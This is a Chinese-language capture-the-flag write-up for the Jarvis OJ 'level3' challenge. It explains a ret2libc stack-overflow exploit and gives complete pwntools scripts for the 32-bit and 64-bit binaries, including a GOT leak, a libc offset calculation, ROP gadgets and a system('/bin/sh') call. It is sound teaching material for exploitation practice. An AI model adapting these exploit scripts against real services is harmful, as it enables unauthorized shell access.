level3

日常checksec ,只开了NX

image.png

IDA:栈溢出,不过这次在函数列表里面找不到 system函数了,但是在给我们的.so文件中就有system函数,那么就可以利用偏移拿到system函数和/bin/sh的真实地址,进而调用system('/bin/sh')

image.png

原理如下:

真实地址       ------>    偏移地址       =  偏移(为因定值)
write_addr       -       write_libc    =   offset
system_addr      -       system_libc   =   offset
binsh_addr       -       binsh_libc    =   offset

所以我目的就很明确了,
1、泄漏出write的真实地址,算出偏移
2、利用偏移得到system/bin/sh的真实地址
3、调用get shell
32位 exp:

#-*-coding:utf-8-*-
from pwn import *
p = process('./level3')
# p = remote("pwn2.jarvisoj.com","9879")
elf = ELF('./level3')
# libc = ELF('./libc-2.19_x32.so')    #给我们的库有问题所以本地打不通(打远程不能打本地)
libc = elf.libc      #远程不能用这个方法获得的库打,(打本地不能打远程)
binsh_libc = libc.search("/bin/sh").next()    #/bin/sh的libc地址
print "binsh_libc: " + hex(binsh_libc)
system_libc = libc.symbols['system'] #system 的libc 地址
print "system_libc: " + hex(system_libc)
write_libc = libc.symbols['write']   #write的libc 地址
print "write_libc: " + hex(write_libc)
write_plt = elf.plt['write'] #write的plt地址
print "write_plt: " + hex(write_plt)
write_got = elf.got['write']
print "write_got: " + hex(write_got)
func = elf.symbols['vulnerable_function']
print "func: " + hex(func)
#构造函数write(1,write_got,4)写出write的真实地址 
payload1 = 0x8c*"A" + p32(write_plt) + p32(func) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)
write_add = u32(p.recv(4)) #接收
print "write_add:" + hex(write_add)  #得到write的真实地址
pause()
offset = write_add - write_libc   #偏移量
system_add = offset + system_libc  #得到system的真实地址
binsh_add = offset + binsh_libc  #得到/bin/sh 的真实地址
payload2 = 0x8c*"A" + p32(system_add) + p32(func) + p32(binsh_add)
p.recvuntil("Input:\n")
p.sendline(payload2)
p.interactive()

===================================================================================
64位的思路也一样,只不过64位的参数是放在寄存器中的,所以需要准备好相应的gadget

$ ROPgadget --binary level3_x64 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006ae : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop r14 ; pop r15 ; ret
0x00000000004006b2 : pop r15 ; ret
0x00000000004006ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006af : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400550 : pop rbp ; ret
0x00000000004006b3 : pop rdi ; ret
0x00000000004006b1 : pop rsi ; pop r15 ; ret
0x00000000004006ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400499 : ret

Unique gadgets found: 11

exp:

#-*- coding:utf-8 -*-
from pwn import *
p = process('./level3_x64')
# p = remote("pwn2.jarvisoj.com","9883")
elf = ELF('./level3_x64')
# libc = ELF('./libc-2.19_x64.so')  #跟 32位一样,这个打远程,下面的libc打本地
libc = elf.libc
func = 0x4005e6
write_plt = elf.plt['write']
print "write_plt: " + hex(write_plt)
write_got = elf.got['write']
print "write_got: " + hex(write_got)
write_libc = libc.symbols['write']
print "write_libc: " + hex(write_libc)
system_libc = libc.symbols['system']
print "system: " + hex(system_libc)
binsh_libc = libc.search("/bin/sh").next()
print "binsh: " + hex(binsh_libc)
#write(1,write_got,8) rdi rsi rdx
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
payload = 0x88*"A"
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(0xdeadbeef)
payload += p64(write_plt) + p64(func)
p.sendline(payload)
p.recvuntil("Input:\n")
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
offset = write_addr - write_libc
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
payload1 = 0x88*"A"
payload1 += p64(pop_rdi) + p64(binsh_addr)
payload1 += p64(system_addr)
p.sendline(payload1)
p.interactive()

你可能感兴趣的:(level3)